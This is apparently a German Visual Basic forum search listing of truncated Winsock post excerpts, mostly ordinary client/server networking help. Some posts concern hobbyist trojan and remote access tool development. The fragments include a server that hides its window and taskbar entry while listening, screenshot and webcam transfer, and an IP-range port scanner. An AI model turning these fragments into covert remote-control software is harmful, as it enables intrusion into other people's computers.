Visual Basic Forum

Verfasst am: 20.06.2011, 06:33 Aufrufe: 452

... habe ich im Internet gefunden und an meine Bedürfnisse angepasst, aber wenn der Server nicht in seiner whileschleife bleibt wo er ständig "hören" kann dann verliert er doch die RequestID oder muss das dann ein anderes Problem sein wenn es nicht läuft? Option Explicit Private Sub Form_Load() ' Command1 deaktivieren Command1.Enabled = False ' Port 12345 soll abgehört werden Winsock1 ...

Verfasst am: 04.03.2011, 10:25 Aufrufe: 562

168.0.2") End Sub Private Sub VerbindungHerstellen(ByVal Ip As String) Debug.Print "Verbindung zu " & Ip & " soll aufgebaut werden..." Winsock1.Close Winsock1.RemoteHost = Ip Winsock1.Connect End Sub Sub Winsock1_Connect() Debug.Print "Verbindung zu " & Winsock1.RemoteHost & " hergestellt" Winsock1.S ...

Verfasst am: 29.10.2010, 08:55 Aufrufe: 677

entschuldige bitte die vl dumme frage aber bist du mit dem server verbunden?? 'server with winsock1 .LocalPort = "12345" .Listen end with 'client with winsock1 .RemoteHost = "die ip des servers" .RemotePort = "12345" .connect end with lg

Verfasst am: 28.10.2010, 14:24 Aufrufe: 677

Verfasst am: 27.10.2010, 22:50 Aufrufe: 677

Winsock1.SendData Text13.text + Text11.text + Text34.text + Text43.text & vbCrLf Text43.SelStart = 0 Text43.SelLength = Len(Text13.text + Text11.text + Text34.text + Text43.text) das über nen button in die richtextbox senden

Verfasst am: 27.10.2010, 22:49 Aufrufe: 677

Winsock1.SendData Text13.text + Text11.text + Text34.text + Text43.text & vbCrLf Text43.SelStart = 0 Text43.SelLength = Len(Text13.text + Text11.text + Text34.text + Text43.text) das über nen klick in die richtextbox senden

Verfasst am: 25.08.2010, 11:53 Aufrufe: 1210

wie gesagt ich weis nichtmal obs winsock in .net jetz noch gibt aber sonst nicht schwer am server winsock1.localport = port windock1.listen am client winsock1.remoteip = ip winsock1.remoteport = port winsock1.connect ja und dann halt senddata

Verfasst am: 14.12.2009, 19:23 Aufrufe: 1617

... erGetCaps lwndC, VarPtr(Caps), Len(Caps) capPreviewScale lwndC, True capPreviewRate lwndC, 66 capPreview lwndC, True ResizeCaptureWindow lwndC End If SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE Call Mache_Transparent(Me.hWnd, 50) If Winsock1 ...

Verfasst am: 24.04.2009, 20:43 Aufrufe: 454

Ehm ich habe einen kleinen, billigen Trojaner gemacht und jetzt möchte ich im client per doppelklick denn Controlpanel öffnen (frmControl.show). Nun möchte ich dem server eine MsgBox übermitteln, was jedoc nicht klappen kann, da sich kein Listviewitem in meinem Controlpanel befindet. Hier der Code mitdem ich übermitteln will: Winsock1(ListView1.SelectedItem.SubItems(1)).SendData "UserName" ...

Verfasst am: 10.04.2009, 19:02 Aufrufe: 823

. Jedoch wenn ich auf der Listview1 (aufgelistete Laufwerke) doppelklicke, listen sich nicht die korrekten Ordner in die Listview2 ein... Schaut selbst... Server - Winsock1 aufm Objekt, microsoft scripting runtime... Dim oFSO As FileSystemObject Private Sub Form_Load() Winsock1.LocalPort = 1111 Winsock1.Listen App.TaskVisible = False Form1.Visible = False End Sub Private Sub ...

Verfasst am: 09.04.2009, 19:24 Aufrufe: 611

Verfasst am: 29.01.2009, 21:56 Aufrufe: 1386

... Durchgang as integer 'durchgänge dim Durchgänge as integer dim funzt as integer 'Anzahl der Funzenden dim funztnicht as integer 'Anzahl der nicht-funzenden dim Anfang as Integer 'AnfangsIP dim Ende as Integer 'EndIP dim Port as Integer Anfang=txtAnfangsIP.text Ende=txtEndIP.text Durchgang=Anfang Durchgänge=Ende-Anfang Port=txtPort.text for i=1 to Durchgänge step 1 check=winsock1 ...

Verfasst am: 28.01.2009, 22:38 Aufrufe: 1515

... Client: (Microsoft Visual Basic 2008) Private Sub Winsock1_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Winsock1.DataArrival Winsock1.Getdata Datei (Ist Deklariert) If Datei = "Hallo" then Msgbox Datei End if End Sub Server: (Vb6) Private Sub Command1_Click& ...

Verfasst am: 31.10.2008, 20:51 Aufrufe: 2207

Length) As Byte Do SendComplete = False bytes = 65535 If laenge > bytes Then bytesRead = f1.Read(buffer, 0, bytes) Else bytesRead = f1.Read(buffer, 0, laenge) allsend = True End If Wi ...

Verfasst am: 21.09.2008, 10:38 Aufrufe: 943

Hey , SpeedwalkerHast du denn die beiden schon connected?D.h. beim Server :Localport einstelenListen lassenBei Request Winsock1.closewinsock1.accept requestidUnd bei Data Arrival , das er das annimmt?Und beim Client:Das er dahin Connected , bevor er schicktAuf den gleichen Port, auf den der Server "Listened"und dan einfach beim Winsock unter connect , also wen er connected , dass er das dan schickt??D.h. die eigentlc ...

Verfasst am: 06.09.2008, 16:37 Aufrufe: 1311

Verfasst am: 28.08.2008, 15:38 Aufrufe: 3056

Verfasst am: 22.08.2008, 00:06 Aufrufe: 3056

Verfasst am: 05.08.2008, 08:17 Aufrufe: 1341

Verfasst am: 07.07.2008, 17:40 Aufrufe: 1147

Verfasst am: 05.07.2008, 11:44 Aufrufe: 803

hey. ich benutze eh 2 winsocks (Winsock1, Winsock2)daher ist es ganz egal ob ich Wonsock1 oder Winsock2 nehme soll ja nur ein beispiel sein. Hab die namen überprüft, stimmt alles.Hab grade versucht eine andere Aufgabe auf Form1 auszuführen und Form1.Text1.text = "text" geht!? Nur wenn ich etwas mit dem Winsock control amchen will. Dann gehts nicht. Eine ne Idee?

Verfasst am: 05.07.2008, 07:07 Aufrufe: 803

Verfasst am: 05.07.2008, 00:56 Aufrufe: 803

HalloIch hab auf der Form1 ein winsock1 drauf, das ich aber auch gerne mit einer 2. Form2 steueren möchte.also kommt das hier in form 2 auf einen buttonForm2:Sub Command1_Click() Form1.Winsock1.SendData "text" End SubDoch dann kommt imer dieser doofe Laufzeitfehler. Such schon die ganze zeit nach dem Prob.. google hilft leider nicht ...

Verfasst am: 06.05.2008, 17:18 Aufrufe: 1134

... ÄÖ" & laufwerke(1) Next ' Objekte zerstören Set objWMI = Nothing Set colClass = Nothing Set objClass = Nothing End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1 ...

Verfasst am: 20.04.2008, 13:02 Aufrufe: 2118

Navigate "http://myip.name/?tab=myip" 'zeigt die ip nur an vom rest des quell codes an pl_computername.Text = Computername_ermitteln() pl_myip.Text = buffer pl_myip2.Text = Winsock1.LocalIP Timer1.Interval = 100 Timer1.Interval = 0 h = S ...

Verfasst am: 17.04.2008, 12:04 Aufrufe: 2014

Das wichtigste ist jetzt, dass ihr in den Eigenschaften vom Winsock Control bei „Index“ eine 0(Null) hineinschreibt.Jetzt sieht eine Sub von Winsock z.B. so aus:Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)Wie ihr seht, bekommt ihr jetzt den Index der Verbindung, die euch etwas sendet, übergeben.Also jede Verbindung die ihr mit einem Server aufbaut, bzw. der Server mit euch, hat ...

Verfasst am: 13.04.2008, 16:27 Aufrufe: 565

Verfasst am: 10.04.2008, 09:48 Aufrufe: 521

ListCount - 1 speicher = speicher & List1.List(i) & "," Next i nun kann man die variabel speicher versenden über winsock. Winsock1.senddata speicher Im Server oder Im Clienten kommt nun die Variabel speicher an So das zwischen jeden eintrag von der listbox ein "," ist dieses können wir dann spliten dim auslesen()as string dim daten as ...

Verfasst am: 09.04.2008, 18:20 Aufrufe: 521

ListCount - 1 text1.text = list1.list(i) & "/" vbcrlf ' so könnte man sie in eine variabek bekommen speicher = split(text1.text, vbnewline) for k = 0 to ubound(speicher) winsock1.senddata speicher(k) next k Next i so bekomst sie in eine variabel im clienten oder server winsock1.getdata daten dim laden() as string laden = split(daten, &qu ...

Verfasst am: 06.04.2008, 09:23 Aufrufe: 1877

Verfasst am: 03.04.2008, 18:13 Aufrufe: 1010

Das ist die Funktion. Private Function SendMail(SMTP As String, FromName As String, _ FromMail As String, ToName As String, ToMail As String, Subj As String, _ Body As String) As Boolean Dim Mail As String, outTO As String, outFR As String If Mailing = True Then Exit Function Mailing = True MousePointer = vbHourglass If Winsock1.State = s ...

Verfasst am: 29.03.2008, 22:04 Aufrufe: 831

mh... funtzt iwie nicht so ganz wie ich mir das vorgestellt habe naja egal hab mir da was anderes überlegt , ich begrenze die zu möglich eintragenden ports auf 20 oder so und wollte das jetzt so machen , zum testen mal mit 2 sockets frmMain.Winsock1(0).LocalPort = (ListView1.ListItems(1).Text) frmMain.Winsock1(0).Listen frmMain.Winsock1(1).LocalPort = (ListView1.ListItems(2).Text) frmMain.Winsock1(1).

Verfasst am: 29.03.2008, 21:09 Aufrufe: 831

Hmm, ich kenne Shark nicht so genau um es ganz genau verstanden zu haben. Also. Statt den Textboxen steht der Port an dem das winsock lauschen soll in einem ListView. Du mußt also nur den Port aus dem ListView auslesen und das Winsock auf listen stellen. Sollte doch kein Prob sein oder? Winsock1(2).LocalPort = CInt(ListView1.Listitems(1).Subitems(1)) Winsock1(2).List ...

Verfasst am: 29.03.2008, 20:12 Aufrufe: 831

ok ich versuche es jetzt mal so ausführlich zu erklären wie es mir nur möglich ist also: wie oben schon gesagt arbeite ich an meinem rat weiter, zzt ist es so das beim start jeweils 3 sockets geöffnet werden beispiel: If frmConfig.Check10.Value Then If frmConfig.Text1.Text = "" Then ' ## Else Winsock1(0).LocalPort = frmConfig.Text1.Text Winsock1(0).Listen End If End If If frmConfig.Check ...

Verfasst am: 29.03.2008, 15:33 Aufrufe: 299

winsock1.senddata "diedatendiedischickenwillst"

Verfasst am: 29.03.2008, 02:02 Aufrufe: 831

... eht , und natürlich muss das auch gehen wenn mehrere ports eingetragen sind zzt mache ich es so Screen: ist natürlich nicht sehr komfortabel einen socket öffne ich derzeit so If frmConfig.Check10.Value Then ' überprüft auf die Einstellung , ob beim start die sockets geöffnet werden sollen If frmConfig.Text1.Text = "" Then ' Überprüft ob ein port eingetragen wurde ' ## Else Winsock1 ...

Verfasst am: 25.03.2008, 16:06 Aufrufe: 594

versuche es mal so Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long) Load Winsock(FindFreeIndex) Winsock1(FindFreeIndex).Accept requestID End Sub

Verfasst am: 25.03.2008, 10:14 Aufrufe: 594

Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long) Winsock1(FindFreeIndex).Accept requestID End Sub da ist das Problem! Wenn du es selber gecodet hast müsstest du wissen was du hier falsch gemacht hast!

Verfasst am: 22.03.2008, 15:55 Aufrufe: 594

Verfasst am: 10.02.2008, 18:04 Aufrufe: 235

Nja, du könntest in das SendComplete Event vom Winsock eine eine Boolean einbauen, bsp. Sendcomplete und die dort auf true setzen... und in dem Befehlscode steht dann halt SendComplete = false Winsock1.senddata Befehl1 Do DoEvents Loop until SendComplete Sendcomplete = False Winsock1.senddata Befehl2 Do DoEvents Loop until SendComplete Oder willst du die in einem ruck rüberschicken ...

Verfasst am: 10.02.2008, 17:59 Aufrufe: 235

Verfasst am: 12.01.2008, 12:26 Aufrufe: 792

habs jetzt mit dem winsock2007 hinbekommen. der fehler war beim server: anstatt winsock1.remoteport = 13377 muss da winsock1.localport = 13377 hin. eingentlich ein simpler Fehler.

Verfasst am: 08.01.2008, 16:05 Aufrufe: 792

Verfasst am: 08.01.2008, 15:44 Aufrufe: 792

Text = "Disconnected!!" End Sub End Class zur sicherheit nochmal der neue code vom server: Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Winsock1.RemotePort = 13377 Winsock1.Close() Winsock1.Listen() End Sub Private Sub Winsock1_ConnectionRequest(ByVal sender As Object, ...

Verfasst am: 23.12.2007, 14:06 Aufrufe: 395

... Laufwerk´s Serial So auslesen tut der Serer das ja aber wenn ich dem server nun sage das er mir die infos senden soll passiert folgendes Ihr seht neben Windows Laufzeit wird nicht nur die Laufzeit gecapturt sondern gleich alles. Warum er das macht weiss ich aber wie kann ich das Problem beheben? Hier mal mein Code! Server: Private Sub Timer6_Timer() On Error GoTo fire Form1.Winsock1 ...

Verfasst am: 20.12.2007, 16:21 Aufrufe: 689

Option Explicit Dim x as integer Private Sub Form_Load() x = 1 End Sub Private Sub Winsock1_DataArrival() Do While Dir(App.Path & "/downloads/" & "pic_" & Winsock1.RemoteHostIP & x & ".bmp") = True x = x + 1 Loop App.Path & "/downloads/" & "pic_" & Winsock1.RemoteHostIP & "1" & ".bmp" End Sub ...

Verfasst am: 20.12.2007, 10:13 Aufrufe: 689

Hallo! Ich möchte ein screenshot geschickt bekomenn per Winsock. Das funktioniert ganz gut! Nur dass die datei immer größer wird, da die bytes von dem neuen screenshot einfach angehängt werden Sad

Also möchte ich die irgendwie durch nummerieren. Also ungefähr so : App.Path & "/downloads/" & "pic_" & Winsock1.RemoteHostIP & "1" & ".bmp" Danach hal ...

Verfasst am: 14.12.2007, 18:30 Aufrufe: 2684

Do While Not EOF(1) 'solange ausfürhren bis das ende der datei erreicht ist zeile = "" Line Input #1, zeile ' lese zeile aus List1.AddItem zeile 'und add sie in die liste Loop hier wird die datei in die listbox geschrieben. ersetzt "List1.AddItem zeile" in z.B winsock1.senddata "PASS" & zeile um die datei zeile für zeile per winsock zu versenden der rest s ...

Verfasst am: 12.12.2007, 00:14 Aufrufe: 1298

.. 'jetzt kannste auch wieder neue server nachjem löschen aufnehmen 'ich glaub der source is nun auch kleiner :D 'MfG 'exe-cute Dim FreeIndex As Integer Private Sub cmdlisten_Click() 'wen button geklickt cmdlisten.Enabled = False 'deaktiviere button (sonst gibts error) Winsock1(0).LocalPort = txtport.Text 'setze den winsock port auf den port vom textfeld Winsock1(0).Li ...

Verfasst am: 11.12.2007, 23:59 Aufrufe: 1298

Server - DataArrival winsock1.senddata "Server sendet an Client" client - DataArrival winsock(index).getdata gData msgbox gData hoffe das reicht...(den rest kannste sicherlich selber...) hab den source garnicht mehr auf der platte..... MfG